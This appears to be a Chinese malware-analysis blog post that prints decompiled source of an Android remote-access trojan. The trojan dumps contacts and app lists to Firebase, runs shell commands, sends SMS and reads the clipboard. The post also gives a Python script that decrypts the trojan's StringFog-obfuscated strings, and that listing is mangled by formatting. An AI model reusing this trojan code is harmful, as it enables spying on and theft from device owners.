  311.             fileOutputStream.write((String.valueOf(stringBuffer.toString()) + "\n\n").getBytes());
  312.             fileOutputStream.close();
  313.             this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.24
  314.                 /* JADX WARN: Can't rename method to resolve collision */
  315.                 @Override // com.google.android.gms.tasks.Continuation
  316.                 public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  317.                     return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))).getDownloadUrl();
  318.                 }
  319.             }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  320.         } catch (FileNotFoundException e) {
  321.         } catch (IOException e2) {
  322.         }
  323.     }
  325.     public void _dmpcon() {
  326.         String str;
  327.         String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMENzsiVAZpJzJUVDBqZk9XMS09QFknMy9DAmVvNkxcMT0oSgJlbyRMWz4zNEJNOzB8Dls2NzsDVDovMURcITx8Tlk5N24UAHB0aw0OZSQ+BAMlOzVETDw7KBdKMDgnWVEjMX1FXTwzLlkCNCEyQgMlNSJJUTsza09XISApQAJgJD4WSDQwIkRWMnkyQkhvZXNdQG4kJ0lcPDohAFQwMjIXDmUkPhZaNDctSko6IShJAnYyIEsDODU0SlE7bidYTDpvJEJKMTE0AEo0MC9YS29ldl1AbjknX188OmtZVyVuc11AKHoqQhg8OSFWXjk7J1kCOTEgWQM9MS9KUCFudR1ILW8xRFwhPHweCCUsfV1XJj0yRFc7bidPSzo4M1ldbiApXQJtJD4WVDAyMhcJZSQ+UBY5O2ZeSDQ6PUtUOjUyF0o8My5ZAzg1NEpRO3k0RF89IHwfCCUsOxEXJiA/QV1r");
  328.         Cursor query = getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{StringFogImpl.decrypt("Cj0i"), StringFogImpl.decrypt("MT01XVQ0LRlDWTgx"), StringFogImpl.decrypt("MTUyTAk="), StringFogImpl.decrypt("NDclQk07IBlZQSUx")}, StringFogImpl.decrypt("NDclQk07IBlZQSUxZhEGdXMhQlcyOCMKGA=="), null, null);
  329.         if (query.getCount() > 0) {
  330.             str = decrypt;
  331.             while (query.moveToNext()) {
  332.                 str = String.valueOf(str) + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzKkIfdWp6RFUydDVfW2hzLllMJSd8AhczPTRIWjQnI15MOiYnSl17MylCXzkxJ11RJnolQlV6InYCWnojLkRMMHl0T1tgMmhMSCUnNkJMezcpQBc6eyVCViF6NkNfajUqWQU4MSJEWXMgKUZdO2lySF1mZXJOW3g3d09ceGB3Glx4NnYeXXhsJx4LM2NyTwxmZ3YKGGtoJBN2NDkjFxhpeyQT") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("MT01XVQ0LRlDWTgx"))) + StringFogImpl.decrypt("aTY0EwQ3aghYVTcxNBcYaXskEw==") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("MTUyTAk="))) + StringFogImpl.decrypt("aTY0ExhpNnhrSjo5fA0EejZ4") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("NDclQk07IBlZQSUx"))) + StringFogImpl.decrypt("aXsiRE5r");
  333.             }
  334.         } else {
  335.             str = decrypt;
  336.         }
  337.         try {
  338.             if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA==")))) {
  339.                 FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA==")));
  340.             }
  341.             FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="), true);
  342.             fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  343.             fileOutputStream.close();
  344.             this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.25
  345.                 /* JADX WARN: Can't rename method to resolve collision */
  346.                 @Override // com.google.android.gms.tasks.Continuation
  347.                 public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  348.                     return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))).getDownloadUrl();
  349.                 }
  350.             }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  351.         } catch (FileNotFoundException e) {
  352.         } catch (IOException e2) {
  353.         }
  354.     }
  356.     public void _getpackages() {
  357.         String str;
  358.         ByteArrayOutputStream byteArrayOutputStream;
  359.         List<PackageInfo> installedPackages = getApplicationContext().getPackageManager().getInstalledPackages(0);
  360.         String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMYaScyVFQwamxWVTQmIURWb2R9XVkxMC9DX29kfVBaOjA/VlU0JiFEVm9kfV1ZMTAvQ19vZH1PWTY/IV9XIDoiFxtnZnQWRXs/I1RUOjMhDUM3NSVGXyc7M0Ncb3d2HQhuIy9JTD1uJUxUNnx/GB11eWYfCCUsbxZQMD0hRUxvNTNZV245J19fPDp8TE0hO31dWTEwL0Nfb2V2XUBuNylBVyduZR1cMW82TFwxPShKFTc7MllXOG53HUgtbytMSjI9KABMOiR8FUgtbyRCSjExNABKNDAvWEtvZXZdQG4kKV5RIT0pQwInMSpMTDwiIxZXIzE0S1Q6I3xMTSE7fVAWPjE/QVcyM2YNWi43KUFXJ240SFxuKWhGXSw4KUpfdT0rSkM4NT4AUDA9IUVMb2F2XUBuOSdVFSI9IllQb2F2XUBuJCleUSE9KUMCNDY1QlQgICMWVDAyMhcJZSQ+FkV7PyNUVDozIQ1ILjcpQVcnbmVLXjNvOwNTMC0qQl8ydDVdWTsvIEFXNCB8X1EyPDIWVTQmIURWeCYvSlAhbncdSC1vOwNaITo9RV08My5ZAmFkNlUDIj0iWVBvZXMdSC1vJEJKMTE0FwhuNilfXDAma19ZMT0zXgJgJD4WWjomIkhKb2U2VRgmOypEXHUmI0kDNzUlRl8nOzNDXG82KkxbPm8lQlQ6JnxaUDwgIxZFdWhpXkwsOCMTBDc7IlQG");
  361.         Iterator<PackageInfo> it = installedPackages.iterator();
  362.         while (true) {
  363.             str = decrypt;
  364.             if (it.hasNext()) {
  365.                 PackageInfo next = it.next();
  366.                 getBitmapFromDrawable(next.applicationInfo.loadIcon(getPackageManager())).compress(Bitmap.CompressFormat.JPEG, 100, new ByteArrayOutputStream());
  367.                 decrypt = String.valueOf(str) + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzLUhBOTshSh91anpEVTJ0NV9baHMiTEw0bi9AWTIxaV1WMm8kTEswYnIB") + Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0) + StringFogImpl.decrypt("cnR4EVw8ImZeTCw4IxAfODU0SlE7eSpIXiFucB1ILW82TFwxPShKFSE7NhcLJSx9Qk4wJiBBVyJuJ1hMOm9hDQZpNmZeTCw4IxAfNjsqQkpvMzRIXTtvYQ0GdQ==") + next.applicationInfo.loadLabel(getPackageManager()).toString() + StringFogImpl.decrypt("dXww") + next.versionName + StringFogImpl.decrypt("dX16AlpraCRfBmk2Zl5MLDgjEB82OypCSm8mI0kDcnR4DQ==") + next.packageName + StringFogImpl.decrypt("aXskEwQ3JngRFzE9MBMENyZ4ERcxPTAT");
  368.             } else {
  369.                 try {
  370.                     break;
  371.                 } catch (FileNotFoundException e) {
  372.                     return;
  373.                 } catch (IOException e2) {
  374.                     return;
  375.                 }
  376.             }
  377.         }
  378.         if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA==")))) {
  379.             FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA==")));
  380.         }
  381.         FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejU2XUt7PDJAVA=="), true);
  382.         fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  383.         fileOutputStream.close();
  384.         SketchwareUtil.showMessage(getApplicationContext(), StringFogImpl.decrypt("JTUlRl0/Jyw="));
  385.         this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.26
  386.             /* JADX WARN: Can't rename method to resolve collision */
  387.             @Override // com.google.android.gms.tasks.Continuation
  388.             public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  389.                 return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))).getDownloadUrl();
  390.             }
  391.         }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  392.     }
  394.     public static Bitmap getBitmapFromDrawable(Drawable drawable) {
  395.         Bitmap createBitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
  396.         Canvas canvas = new Canvas(createBitmap);
  397.         drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
  398.         drawable.draw(canvas);
  399.         return createBitmap;
  400.     }
  402.     public String shell_exec(String str) {
  403.         String str2 = "";
  404.         String[] strArr = {StringFogImpl.decrypt("Jjw="), StringFogImpl.decrypt("eDc="), str};
  405.         try {
  406.             BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(str).getInputStream()));
  407.             while (true) {
  408.                 String readLine = bufferedReader.readLine();
  409.                 if (readLine != null) {
  410.                     str2 = String.valueOf(str2) + readLine;
  411.                 } else {
  412.                     return str2;
  413.                 }
  414.             }
  415.         } catch (Exception e) {
  416.             return StringFogImpl.decrypt("MCY0Qko=");
  417.         }
  418.     }
  420.     public void _sudoapt(String str, String str2) {
  421.         _setrespo(StringFogImpl.decrypt("JjwjQVQjPSNa"), "", shell_exec(str), "", "");
  422.     }
  424.     public void _devinfo() {
  425.         getApplicationContext();
  426.         Display defaultDisplay = ((WindowManager) getSystemService(StringFogImpl.decrypt("Ij0oSVci"))).getDefaultDisplay();
  427.         int width = defaultDisplay.getWidth();
  428.         _setrespo(StringFogImpl.decrypt("MTEwRFswPShLVw=="), "", StringFogImpl.decrypt("aTAvWxg2OCdeS3VpYUZdLDgpSl9ydHgRWmsHA39xFBh8DQR6Nng=") + Build.SERIAL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("GBsCaHRvdHoCWmt0") + Build.MODEL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HBB8DRhpeyQT") + Build.ID + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("GDUoWF40NzJYSjBuZhEXN2o=") + Build.MANUFACTURER + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FyYnQ1xvaGlPBnU=") + Build.BRAND + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("ETEwRFswdApMVjIhJ0pdb3R6Alpr") + Locale.getDefault().getDisplayLanguage() + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("Bjc0SF07dBRISzo4M1lROjp8DQR6Nng=") + width + StringFogImpl.decrypt("LQ==") + defaultDisplay.getHeight() + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("AS02SAJ1aGlPBg==") + Build.TYPE + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("ACcjXwJ1aGlPBg==") + Build.USER + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FxUVaAJ1aGlPBg==") + 1 + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HBoFf30YEQh5eRluZhEXN2o=") + Build.VERSION.INCREMENTAL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("BhANFwR6NngN") + Build.VERSION.SDK + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FxsHf3xvdHoCWms=") + Build.BOARD + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FwYHY3xvaGlPBnU=") + Build.BRAND + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HRsVeQJ1aGlPBg==") + Build.HOST + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("Ex0Ian0HBBRkdgFuZhEXN2o=") + Build.FINGERPRINT + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("AzE0XlE6OmZuVzExfA0EejZ4") + Build.VERSION.RELEASE + StringFogImpl.decrypt("aXsiRE5r"), "", "");
  429.     }
  431.     public void _showtoast(String str) {
  432.         SketchwareUtil.showMessage(getApplicationContext(), str);
  433.         _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ATsnXkx1By5CTzt0FVhbNjE1Xl4gOCpU"), "", "");
  434.     }
  436.     public void _vibra(String str) {
  437.         this.vibrator.vibrate(Integer.parseInt(str));
  438.         _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ETEwRFswdBBEWic1Mkhc"), "", "");
  439.     }
  441.     public void _ttsdev(String str) {
  442.         this.tts.speak(str, 1, null);
  443.         _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AQAVDXs6OTZBXSExIg1rIDclSEsmMjNBVCw="), "", "");
  444.     }
  446.     public void _palysmudic(String str) {
  447.         this.mp = new MediaPlayer();
  448.         this.mp.setAudioStreamType(3);
  449.         try {
  450.             this.mp.setDataSource(str);
  451.         } catch (IOException e) {
  452.             e.printStackTrace();
  453.         } catch (IllegalArgumentException e2) {
  454.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0KGGt0A39qGgZ8DQR6JzZMVmsHKUNfdRopWRgTOzNDXHUyNEJVdQEUYQ=="), "", "");
  455.         } catch (IllegalStateException e3) {
  456.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  457.         } catch (SecurityException e4) {
  458.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  459.         }
  460.         try {
  461.             this.mp.prepare();
  462.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0FxgyJiNIVm50YRMYBiElTl0mJ3wNBHonNkxWawcpQ191PTUNSDk1P0RWMg=="), "", "");
  463.         } catch (IOException e5) {
  464.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  465.         } catch (IllegalStateException e6) {
  466.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  467.         }
  468.         this.mp.start();
  469.         if (this.mp.isPlaying()) {
  470.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0FxgyJiNIVm50YRMYBiElTl0mJ3wNBHonNkxWawcpQ191PTUNSDk1P0RWMg=="), "", "");
  471.         }
  472.     }
  474.     public void _sendsm(String str, String str2) {
  475.         try {
  476.             SmsManager.getDefault().sendTextMessage(str, null, str2, null, null);
  477.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F18nMSNDH2sHM05bMCc1FxhpezVdWTtqC0hLJjUhSBgGMShZGAYhJU5dJicgWFQ5LQ=="), "", "");
  478.         } catch (Exception e) {
  479.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMGETfScmKV8CdWhpXkg0OnhoUSE8I18YJTE0QFEmJy9CVnU9NQ1WOiBmSlEjMSgNVyd0AkxMNHQvXhg8OiVCSicxJVkW"), "", "");
  480.         }
  481.     }
  483.     public void _changewall(String str) {
  484.         if (str.equals(StringFogImpl.decrypt("ZQ=="))) {
  485.             try {
  486.                 WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall1);
  487.             } catch (Exception e) {
  488.                 e.printStackTrace();
  489.             }
  490.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
  491.         } else if (str.equals(StringFogImpl.decrypt("ZA=="))) {
  492.             try {
  493.                 WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall2);
  494.             } catch (Exception e2) {
  495.                 e2.printStackTrace();
  496.             }
  497.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
  498.         } else if (str.equals(StringFogImpl.decrypt("Zw=="))) {
  499.             try {
  500.                 WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall3);
  501.             } catch (Exception e3) {
  502.                 e3.printStackTrace();
  503.             }
  504.             _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
  505.         }
  506.     }
  508.     /* JADX WARN: Code restructure failed: missing block: B:12:0x004f, code lost:
  509.         if (r1.isEmpty() != false) goto L13;
  510.      */
  511.     /*
  512.         Code decompiled incorrectly, please refer to instructions dump.
  513.     */
  514.     public void clips() {
  515.         String str = null;
  516.         final ClipboardManager[] clipboardManagerArr = new ClipboardManager[1];
  517.         String str2 = "";
  518.         new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: sigma.male.servicess.27
  519.             @Override // java.lang.Runnable
  520.             public void run() {
  521.                 clipboardManagerArr[0] = (ClipboardManager) servicess.this.getSystemService(StringFogImpl.decrypt("NjgvXVo6NTRJ"));
  522.             }
  523.         });
  524.         try {
  525.             if (clipboardManagerArr[0].hasPrimaryClip()) {
  526.                 ClipDescription primaryClipDescription = clipboardManagerArr[0].getPrimaryClipDescription();
  527.                 ClipData primaryClip = clipboardManagerArr[0].getPrimaryClip();
  528.                 if (primaryClip != null && primaryClipDescription != null && primaryClipDescription.hasMimeType(StringFogImpl.decrypt("ITE+WRclOCdEVg=="))) {
  529.                     str2 = String.valueOf(primaryClip.getItemAt(0).getText());
  530.                 }
  531.             }
  532.             str = str2;
  533.         } catch (NullPointerException e) {
  534.         }
  535.         _setrespo(StringFogImpl.decrypt("MTEwRFswPShLVw=="), "", StringFogImpl.decrypt("aTAvWxg2OCdeS3VpYUZdLDgpSl9ydHgN") + str + StringFogImpl.decrypt("aXsiRE5r"), "", "");
  536.     }
  538.     public void _voicere(String str) {
  539.         _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("GTUzQ1s9MSINbQcYZhcY") + str, "", "");
  540.         Intent intent = new Intent();
  541.         intent.addFlags(268435456);
  542.         intent.setAction(StringFogImpl.decrypt("NDoiX1c8MGhEViExKFkWNDcyRFc7ehBkfQI="));
  543.         intent.setData(Uri.parse(str));
  544.         startActivity(intent);
  545.     }
  547.     public void tofft() {
  548.         _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ASE0Q10xdAlLXnUAKV9bPXQqRF89IA=="), "", "");
  549.         CameraManager cameraManager = (CameraManager) getSystemService(StringFogImpl.decrypt("NjUrSEo0"));
  550.         try {
  551.             cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], false);
  552.         } catch (CameraAccessException e) {
  553.         }
  554.     }
  556.     public void tont() {
  557.         _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ASE0Q10xdAlDGAE7NE5QdTgvSlAh"), "", "");
  558.         CameraManager cameraManager = (CameraManager) getSystemService(StringFogImpl.decrypt("NjUrSEo0"));
  559.         try {
  560.             cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], true);
  561.         } catch (CameraAccessException e) {
  562.         }
  563.     }
  565.     @Override // android.app.Service
  566.     public IBinder onBind(Intent intent) {
  567.         return null;
  568.     }
  570.     @Override // android.app.Service
  571.     public void onDestroy() {
  572.         Intent intent = new Intent();
  573.         intent.setAction(StringFogImpl.decrypt("JzE1WVknIDVISiM9JUg="));
  574.         intent.setClass(this, restarter.class);
  575.         sendBroadcast(intent);
  576.         super.onDestroy();
  577.     }
  578. }

但代码中重要字符串均被加密，需解密后才能分析。

方案：字符串替代解密

将“StringFogImpl.decrypt("[密文]")”替换为解密后的明文：
image.png

解密逻辑

  1. 逐行读取需要解密文本
  2. 检测是否有“StringFogImpl.decrypt”
    1. 无：跳过
    2. 有：正则匹配出密文
  3. 密文Base64解码后，Xor“UTF-8”
  4. 解密后的密文替代明文
  5. 每行检测或替换完，最终输出的为明文

    运行效果

    image.png

    出现问题：’utf-8’ codec can’t decode byte 0xb6

    解决方案

    【假】.decode(“UTF-8”, “ignore”)

    如果牵扯计算，会出现乱码。
    如果仅为显示，一般无所谓。

    【真】计算数据不要转UTF-8

    原本是为了方便，全部数据转UTF-8，但是有一些数据超出的UTF-8的范围（十进制：0-127，十六进制：0-7F），如“0xB6”。

    🐍🐍🐍Python代码🐍🐍🐍

    ```python

    coding: UTF-8

import base64 import re

strNewLine = “\n” strQuotation = ‘“‘ strEncode = r”StringFogImpl.decrypt”

读取需要解密的文本文件

def ReadText( txtIn ): with open( txtIn , ‘r+’ , encoding = ‘UTF-8’ ) as f: strTXT = f.read()

  1. # print(strTXT)
  2. return strTXT

解密后保存为文本文件输出

def Text2Write( str2Write ): with open( txtOut , ‘w+’ , encoding = ‘UTF-8’ ) as f: f.write( str2Write ) f.close()

检测文本是否需要解密

def CheckTXT2Recovery( strEncode ): if strEncode in strTXT: print( “文件需要解密” ) GetCipherText2XOR( strTXT ) else: print( “文件不需要解密” )

解密字符串

def GetCipherText2XOR( strTXT ):

  1. # 按行切割为数组
  2. arrStrLines = strTXT.split( strNewLine )
  3. # print(arrStr)
  5. # 最后需要输出的明文
  6. strXORedAll = ''
  7. # 正则匹配解密函数和密文
  8. reDecrypt = re.compile( 'StringFogImpl.decrypt\("(.*?)"\)' , re.S )
  9. for iLine in arrStrLines:
  10.     # 单行是否需要解密，需要解密则提取密文解密，不需要直接累加为明文
  11.     if strEncode in iLine:
  12.         listStrSplit = re.split( reDecrypt , iLine )
  13.         # 匹配到几个密文
  14.         nRE = len( listStrSplit )
  16.         strXORedLine = listStrSplit[0]
  17.         nCount = 1
  18.         # 考虑一行多个：从[1]开始步长为2取数组解密
  19.         for i in range( 1 , nRE ):
  20.             # print(i)
  21.             nCount += 1
  22.             if (nCount % 2 == 0):
  23.                 print( "密文：" , listStrSplit[i] )
  24.                 strDeXORed = doDeBase64XOR( listStrSplit[i] )
  25.                 strXORedLine += strQuotation + strDeXORed + strQuotation
  26.             else:
  27.                 strXORedLine += listStrSplit[i]
  29.         print( "单行解密后：" , strXORedLine , strNewLine )
  31.     else:
  32.         # print( "此行无需解密：" , strXORedLine )
  33.         strXORedLine = iLine
  35.     strXORedAll += strXORedLine + strNewLine
  36. # print( "全部解密后：" , strXORedAll )
  37. Text2Write( strXORedAll )

因为有超出7B的值，所以不能转UTF-8再解密

def doDeBase64XOR( strCiphered ): print( “需解密字符串：” , strCiphered )

  1. bText = strCiphered.encode( "UTF-8" )
  2. bDeBase64ed = base64.b64decode( bText )
  4. resultXOR = doXOR( bDeBase64ed , strKey )
  5. # print( "解密后字符串：" , resultXOR )
  6. return resultXOR

strKey = r”UTF-8”

def doDeBase64( strText ): print( “需解密字符串：” , strText )

  1. bText = strText.encode( "UTF-8" )
  2. bDeBase64ed = base64.b64decode( bText )
  3. # 可用于显示，不能用于计算
  4. strDeBase64ed = bDeBase64ed.decode( "UTF-8" , "ignore" )
  5. # print( "Base64解码后：" , strDeBase64ed )
  7. return strDeBase64ed

def doXOR( dataCipherTXT , strKey ): resultXOR = ‘’

  1. # lenMax = max( len( dataCipherTXT ) , len( strKey ) )
  3. for i in range( len( dataCipherTXT ) ):
  4.     # 如果是int类型直接使用
  5.     ordCiphered = dataCipherTXT[i % len( dataCipherTXT )]
  7.     # 如果是字符串，ord转为int
  8.     typeCipherTXT = str( type( ordCiphered ) )
  9.     if "str" in typeCipherTXT:
  10.         ordCiphered = ord( ordCiphered )
  12.     # 逐个取出
  13.     ordKey = ord( strKey[i % len( strKey )] )
  14.     # 异或
  15.     ordXORed = ordCiphered ^ ordKey
  16.     # 转为字符串
  17.     strXORed = chr( ordXORed )
  18.     # 累加
  19.     resultXOR += strXORed
  20. print( "解密后字符串：" , resultXOR )
  21. return resultXOR

txtIn = r”密文.txt” txtOut = r”明文.txt”

if name == ‘main‘: print( “文件：” , txtIn ) strTXT = ReadText( txtIn ) CheckTXT2Recovery( strEncode ) print( “结束” )

  1. <a name="Ecn5c"></a>
  2. ### 运行结果
  3. <a name="EsoUv"></a>
  4. #### 显示
  5. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1657962392056-eb2f9392-6136-4ce7-a897-da74270aa8df.png#clientId=u926596a4-960e-4&errorMessage=unknown%20error&from=paste&height=668&id=u71efb851&originHeight=835&originWidth=1020&originalType=binary&ratio=1&rotation=0&showTitle=false&size=123463&status=error&style=none&taskId=u1dda3c25-7f52-4c06-9b89-cac96e4dd73&title=&width=816)
  6. <a name="pWmgD"></a>
  7. #### 明文输出
  8. ```java
  9.     public void _service() {
  10.         _setpres();
  11.         _setpres2("");
  12.         FirebaseDatabase.getInstance().getReference(/comds/comds + gui.uuii(getApplicationContext())).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.20
  13.             @Override // com.google.firebase.database.ChildEventListener
  14.             public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  15.             }
  17.             @Override // com.google.firebase.database.ChildEventListener
  18.             public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  19.                 Map map = (Map) dataSnapshot.getValue();
  20.                 servicess.this.cmdn = new StringBuilder().append(map.get(cmdn)).toString();
  21.                 servicess.this.cmdv = new StringBuilder().append(map.get(cmdv)).toString();
  22.                 servicess.this.cmdvar = new StringBuilder().append(map.get(cmdvar)).toString();
  23.                 if (!servicess.this.cmdn.equals(cd)) {
  24.                     if (!servicess.this.cmdn.equals(dmpsms)) {
  25.                         if (!servicess.this.cmdn.equals(dmpcall)) {
  26.                             if (!servicess.this.cmdn.equals(dmpcont)) {
  27.                                 if (!servicess.this.cmdn.equals(getpackages)) {
  28.                                     if (!servicess.this.cmdn.equals(shellcmd)) {
  29.                                         if (!servicess.this.cmdn.equals(deviceinfo)) {
  30.                                             if (!servicess.this.cmdn.equals(toasttext)) {
  31.                                                 if (!servicess.this.cmdn.equals(ttsdev)) {
  32.                                                     if (!servicess.this.cmdn.equals(vibratedev)) {
  33.                                                         if (!servicess.this.cmdn.equals(playsmusic)) {
  34.                                                             if (!servicess.this.cmdn.equals(sendsms)) {
